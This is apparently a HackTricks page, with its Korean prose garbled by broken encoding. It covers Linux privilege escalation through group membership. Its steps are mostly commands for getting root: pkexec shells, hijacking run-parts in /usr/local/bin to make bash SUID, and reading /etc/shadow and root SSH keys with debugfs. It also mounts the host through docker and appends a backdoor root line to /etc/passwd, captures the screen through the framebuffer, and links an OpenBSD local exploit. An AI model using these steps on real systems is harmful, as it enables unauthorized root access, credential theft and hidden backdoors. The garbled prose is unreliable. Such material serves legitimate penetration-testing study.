ํฅ๋ฏธ๋ก์ด ๊ทธ๋ฃน - ๋ฆฌ๋ ์ค ๊ถํ ์์น
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Sudo/Admin ๊ทธ๋ฃน
PE - ๋ฐฉ๋ฒ 1
๋๋๋ก, ๊ธฐ๋ณธ์ ์ผ๋ก (๋๋ ์ผ๋ถ ์ํํธ์จ์ด๊ฐ ํ์ํ๊ธฐ ๋๋ฌธ์) /etc/sudoers ํ์ผ ์์์ ์ด๋ฌํ ์ค์ ์ฐพ์ ์ ์์ต๋๋ค:
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# Allow members of group admin to execute any command
%admin ALL=(ALL:ALL) ALL
์ด๊ฒ์ sudo ๋๋ admin ๊ทธ๋ฃน์ ์ํ ๋ชจ๋ ์ฌ์ฉ์๊ฐ sudo๋ก ๋ฌด์์ด๋ ์คํํ ์ ์์์ ์๋ฏธํฉ๋๋ค.
์ด ๊ฒฝ์ฐ, root๊ฐ ๋๋ ค๋ฉด ๋ค์์ ์คํํ๋ฉด ๋ฉ๋๋ค:
sudo su
PE - Method 2
๋ชจ๋ suid ๋ฐ์ด๋๋ฆฌ๋ฅผ ์ฐพ์๋ณด๊ณ Pkexec ๋ฐ์ด๋๋ฆฌ๊ฐ ์๋์ง ํ์ธํ์ธ์:
find / -perm -4000 2>/dev/null
์ด์ง ํ์ผ pkexec๊ฐ SUID ์ด์ง ํ์ผ์ด๊ณ sudo ๋๋ admin ๊ทธ๋ฃน์ ์ํ๋ค๋ฉด, pkexec๋ฅผ ์ฌ์ฉํ์ฌ sudo๋ก ์ด์ง ํ์ผ์ ์คํํ ์ ์์ต๋๋ค.
์ด๋ ์ผ๋ฐ์ ์ผ๋ก ์ด๋ฌํ ๊ทธ๋ฃน์ด polkit ์ ์ฑ
๋ด์ ์๊ธฐ ๋๋ฌธ์
๋๋ค. ์ด ์ ์ฑ
์ ๊ธฐ๋ณธ์ ์ผ๋ก ์ด๋ค ๊ทธ๋ฃน์ด pkexec๋ฅผ ์ฌ์ฉํ ์ ์๋์ง๋ฅผ ์๋ณํฉ๋๋ค. ๋ค์์ ์ฌ์ฉํ์ฌ ํ์ธํ์ธ์:
cat /etc/polkit-1/localauthority.conf.d/*
์ฌ๊ธฐ์์ ์ด๋ค ๊ทธ๋ฃน์ด pkexec๋ฅผ ์คํํ ์ ์๋์ง ํ์ธํ ์ ์์ผ๋ฉฐ, ์ผ๋ถ ๋ฆฌ๋ ์ค ๋ฐฐํฌํ์์๋ sudo ๋ฐ admin ๊ทธ๋ฃน์ด ๊ธฐ๋ณธ์ ์ผ๋ก ๋ํ๋ฉ๋๋ค.
๋ฃจํธ๊ฐ ๋๋ ค๋ฉด ๋ค์์ ์คํํ ์ ์์ต๋๋ค:
pkexec "/bin/sh" #You will be prompted for your user password
pkexec๋ฅผ ์คํํ๋ ค๊ณ ์๋ํ๋๋ฐ ์ค๋ฅ๊ฐ ๋ฐ์ํ๋ฉด:
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
๊ถํ์ด ์์ด์๊ฐ ์๋๋ผ GUI ์์ด ์ฐ๊ฒฐ๋์ด ์์ง ์๊ธฐ ๋๋ฌธ์ ๋๋ค. ์ด ๋ฌธ์ ์ ๋ํ ํด๊ฒฐ ๋ฐฉ๋ฒ์ ์ฌ๊ธฐ์์ ํ์ธํ ์ ์์ต๋๋ค: https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903. 2๊ฐ์ ์๋ก ๋ค๋ฅธ ssh ์ธ์ ์ด ํ์ํฉ๋๋ค:
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec
Wheel Group
๋๋๋ก, ๊ธฐ๋ณธ์ ์ผ๋ก /etc/sudoers ํ์ผ ์์์ ์ด ์ค์ ์ฐพ์ ์ ์์ต๋๋ค:
%wheel ALL=(ALL:ALL) ALL
์ด๊ฒ์ wheel ๊ทธ๋ฃน์ ์ํ ๋ชจ๋ ์ฌ์ฉ์๊ฐ sudo๋ก ๋ชจ๋ ๊ฒ์ ์คํํ ์ ์์์ ์๋ฏธํฉ๋๋ค.
์ด ๊ฒฝ์ฐ, root๊ฐ ๋๋ ค๋ฉด ๋ค์์ ์คํํ๋ฉด ๋ฉ๋๋ค:
sudo su
Shadow Group
shadow ๊ทธ๋ฃน์ ์ฌ์ฉ์๋ค์ /etc/shadow ํ์ผ์ ์ฝ์ ์ ์์ต๋๋ค:
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
So, read the file and try to crack some hashes.
Staff Group
staff: ์ฌ์ฉ์๊ฐ ๋ฃจํธ ๊ถํ ์์ด ์์คํ
์ ๋ก์ปฌ ์์ ์ ์ถ๊ฐํ ์ ์๋๋ก ํ์ฉํฉ๋๋ค (/usr/local). /usr/local/bin์ ์คํ ํ์ผ์ ๋ชจ๋ ์ฌ์ฉ์์ PATH ๋ณ์์ ํฌํจ๋์ด ์์ผ๋ฉฐ, ๋์ผํ ์ด๋ฆ์ /bin ๋ฐ /usr/bin์ ์คํ ํ์ผ์ โ๋ฎ์ด์ธโ ์ ์์ต๋๋ค. ๋ชจ๋ํฐ๋ง/๋ณด์๊ณผ ๋ ๊ด๋ จ๋ โadmโ ๊ทธ๋ฃน๊ณผ ๋น๊ตํ์ญ์์ค. [source]
debian ๋ฐฐํฌํ์์ $PATH ๋ณ์๋ /usr/local/๊ฐ ์ฐ์ ์ ์ผ๋ก ์คํ๋๋ค๋ ๊ฒ์ ๋ณด์ฌ์ค๋๋ค.
$ echo $PATH
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
/usr/local์ ์๋ ์ผ๋ถ ํ๋ก๊ทธ๋จ์ ํ์ทจํ ์ ์๋ค๋ฉด, ๋ฃจํธ ๊ถํ์ ์ฝ๊ฒ ์ป์ ์ ์์ต๋๋ค.
run-parts ํ๋ก๊ทธ๋จ์ ํ์ทจํ๋ ๊ฒ์ ๋ฃจํธ ๊ถํ์ ์ป๋ ์ฌ์ด ๋ฐฉ๋ฒ์
๋๋ค. ๋๋ถ๋ถ์ ํ๋ก๊ทธ๋จ์ (crontab, ssh ๋ก๊ทธ์ธ ์) run-parts๋ฅผ ์คํํฉ๋๋ค.
$ cat /etc/crontab | grep run-parts
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
๋๋ ์๋ก์ด ssh ์ธ์ ๋ก๊ทธ์ธ ์.
$ pspy64
2024/02/01 22:02:08 CMD: UID=0 PID=1 | init [2]
2024/02/01 22:02:10 CMD: UID=0 PID=17883 | sshd: [accepted]
2024/02/01 22:02:10 CMD: UID=0 PID=17884 | sshd: [accepted]
2024/02/01 22:02:14 CMD: UID=0 PID=17886 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2024/02/01 22:02:14 CMD: UID=0 PID=17887 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2024/02/01 22:02:14 CMD: UID=0 PID=17888 | run-parts --lsbsysinit /etc/update-motd.d
2024/02/01 22:02:14 CMD: UID=0 PID=17889 | uname -rnsom
2024/02/01 22:02:14 CMD: UID=0 PID=17890 | sshd: mane [priv]
2024/02/01 22:02:15 CMD: UID=0 PID=17891 | -bash
์ต์คํ๋ก์
# 0x1 Add a run-parts script in /usr/local/bin/
$ vi /usr/local/bin/run-parts
#! /bin/bash
chmod 4777 /bin/bash
# 0x2 Don't forget to add a execute permission
$ chmod +x /usr/local/bin/run-parts
# 0x3 start a new ssh sesstion to trigger the run-parts program
# 0x4 check premission for `u+s`
$ ls -la /bin/bash
-rwsrwxrwx 1 root root 1099016 May 15 2017 /bin/bash
# 0x5 root it
$ /bin/bash -p
Disk Group
์ด ๊ถํ์ ๋ฃจํธ ์ ๊ทผ๊ณผ ๊ฑฐ์ ๋๋ฑํ๋ฉฐ, ๋จธ์ ๋ด๋ถ์ ๋ชจ๋ ๋ฐ์ดํฐ์ ์ ๊ทผํ ์ ์์ต๋๋ค.
Files:/dev/sd[a-z][1-9]
df -h #Find where "/" is mounted
debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
debugfs๋ฅผ ์ฌ์ฉํ๋ฉด ํ์ผ์ ์ธ ์ ์๋ค๋ ์ ์ ์ ์ํ์ธ์. ์๋ฅผ ๋ค์ด /tmp/asd1.txt๋ฅผ /tmp/asd2.txt๋ก ๋ณต์ฌํ๋ ค๋ฉด ๋ค์๊ณผ ๊ฐ์ด ํ ์ ์์ต๋๋ค:
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
๊ทธ๋ฌ๋ root๊ฐ ์์ ํ ํ์ผ(์: /etc/shadow ๋๋ /etc/passwd)์ ์ฐ๊ธฐ๋ฅผ ์๋ํ๋ฉด โPermission deniedโ ์ค๋ฅ๊ฐ ๋ฐ์ํฉ๋๋ค.
Video Group
w ๋ช
๋ น์ด๋ฅผ ์ฌ์ฉํ๋ฉด ์์คํ
์ ๋ก๊ทธ์ธํ ์ฌ๋์ ์ฐพ์ ์ ์์ผ๋ฉฐ, ๋ค์๊ณผ ๊ฐ์ ์ถ๋ ฅ์ ๋ณด์ฌ์ค๋๋ค:
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
tty1๋ ์ฌ์ฉ์ yossi๊ฐ ๋ฌผ๋ฆฌ์ ์ผ๋ก ๋จธ์ ์ ํฐ๋ฏธ๋์ ๋ก๊ทธ์ธํ์์ ์๋ฏธํฉ๋๋ค.
video group์ ํ๋ฉด ์ถ๋ ฅ์ ๋ณผ ์ ์๋ ๊ถํ์ด ์์ต๋๋ค. ๊ธฐ๋ณธ์ ์ผ๋ก ํ๋ฉด์ ๊ด์ฐฐํ ์ ์์ต๋๋ค. ์ด๋ฅผ ์ํด์๋ ํ์ฌ ํ๋ฉด์ ์ด๋ฏธ์ง๋ฅผ ์์ ๋ฐ์ดํฐ๋ก ๊ฐ์ ธ์ค๊ณ ํ๋ฉด์ด ์ฌ์ฉํ๋ ํด์๋๋ฅผ ์์๋ด์ผ ํฉ๋๋ค. ํ๋ฉด ๋ฐ์ดํฐ๋ /dev/fb0์ ์ ์ฅ๋ ์ ์์ผ๋ฉฐ, ์ด ํ๋ฉด์ ํด์๋๋ /sys/class/graphics/fb0/virtual_size์์ ์ฐพ์ ์ ์์ต๋๋ค.
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
์์ ์ด๋ฏธ์ง๋ฅผ ์ด๊ธฐ ์ํด GIMP๋ฅผ ์ฌ์ฉํ๊ณ screen.raw ํ์ผ์ ์ ํํ ํ ํ์ผ ํ์์ผ๋ก Raw image data๋ฅผ ์ ํํ ์ ์์ต๋๋ค:
.png)
๊ทธ๋ฐ ๋ค์ ๋๋น์ ๋์ด๋ฅผ ํ๋ฉด์์ ์ฌ์ฉ๋ ๊ฐ์ผ๋ก ์์ ํ๊ณ ๋ค์ํ ์ด๋ฏธ์ง ์ ํ์ ํ์ธํ ํ (ํ๋ฉด์ ๋ ์ ๋ณด์ฌ์ฃผ๋ ๊ฒ์ ์ ํํฉ๋๋ค):
.png)
๋ฃจํธ ๊ทธ๋ฃน
๊ธฐ๋ณธ์ ์ผ๋ก ๋ฃจํธ ๊ทธ๋ฃน์ ๊ตฌ์ฑ์์ ์๋น์ค ๊ตฌ์ฑ ํ์ผ์ด๋ ์ผ๋ถ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ํ์ผ ๋๋ ๊ถํ ์์น์ ์ฌ์ฉ๋ ์ ์๋ ๊ธฐํ ํฅ๋ฏธ๋ก์ด ๊ฒ๋ค์ ์์ ํ ์ ์๋ ์ ๊ทผ ๊ถํ์ด ์๋ ๊ฒ ๊ฐ์ต๋๋คโฆ
๋ฃจํธ ๊ตฌ์ฑ์์ด ์์ ํ ์ ์๋ ํ์ผ ํ์ธ:
find / -group root -perm -g=w 2>/dev/null
Docker Group
ํธ์คํธ ๋จธ์ ์ ๋ฃจํธ ํ์ผ ์์คํ
์ ์ธ์คํด์ค์ ๋ณผ๋ฅจ์ ๋ง์ดํธํ ์ ์์ผ๋ฏ๋ก, ์ธ์คํด์ค๊ฐ ์์๋ ๋ ํด๋น ๋ณผ๋ฅจ์ chroot๋ฅผ ์ฆ์ ๋ก๋ํฉ๋๋ค. ์ด๋ ์ฌ์ค์ ๋จธ์ ์์ ๋ฃจํธ ๊ถํ์ ๋ถ์ฌํฉ๋๋ค.
docker image #Get images from the docker service
#Get a shell inside a docker container with access as root to the filesystem
docker run -it --rm -v /:/mnt <imagename> chroot /mnt bash
#If you want full access from the host, create a backdoor in the passwd file
echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/passwd
#Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash
๋ง์ง๋ง์ผ๋ก, ์ด์ ์ ์ ์์ด ๋ง์์ ๋ค์ง ์๊ฑฐ๋ ์ด๋ค ์ด์ ๋ก ์๋ํ์ง ์๋ ๊ฒฝ์ฐ(์: docker api ๋ฐฉํ๋ฒฝ?) ํน๊ถ ์ปจํ ์ด๋๋ฅผ ์คํํ๊ณ ๊ทธ๋ก๋ถํฐ ํ์ถํ๋ ๋ฐฉ๋ฒ์ ์๋ํ ์ ์์ต๋๋ค. ์ฌ๊ธฐ์์ ์ค๋ช ํฉ๋๋ค:
docker ์์ผ์ ๋ํ ์ฐ๊ธฐ ๊ถํ์ด ์๋ ๊ฒฝ์ฐ docker ์์ผ์ ์ ์ฉํ์ฌ ๊ถํ์ ์์น์ํค๋ ๋ฐฉ๋ฒ์ ๋ํ ์ด ๊ฒ์๋ฌผ์ ์ฝ์ด๋ณด์ธ์.
GitHub - KrustyHack/docker-privilege-escalation: A docker example for privilege escalation
Privilege escalation via Docker - Chris Foster
lxc/lxd ๊ทธ๋ฃน
Interesting Groups - Linux Privesc
Adm ๊ทธ๋ฃน
์ผ๋ฐ์ ์ผ๋ก adm ๊ทธ๋ฃน์ ๊ตฌ์ฑ์์ _/var/log/_์ ์์นํ ๋ก๊ทธ ํ์ผ์ ์ฝ์ ์ ์๋ ๊ถํ์ ๊ฐ์ง๊ณ ์์ต๋๋ค.
๋ฐ๋ผ์ ์ด ๊ทธ๋ฃน ๋ด์ ์ฌ์ฉ์๋ฅผ ์นจํดํ ๊ฒฝ์ฐ ๋ก๊ทธ๋ฅผ ํ์ธํด์ผ ํฉ๋๋ค.
Auth ๊ทธ๋ฃน
OpenBSD ๋ด์์ auth ๊ทธ๋ฃน์ ์ผ๋ฐ์ ์ผ๋ก ์ฌ์ฉ๋๋ ๊ฒฝ์ฐ /etc/skey ๋ฐ /var/db/yubikey ํด๋์ ์ธ ์ ์์ต๋๋ค.
์ด ๊ถํ์ ๋ค์์ ์ต์คํ๋ก์์ ์ฌ์ฉํ์ฌ ๋ฃจํธ ๊ถํ์ ์์น์ํค๋ ๋ฐ ์
์ฉ๋ ์ ์์ต๋๋ค: https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


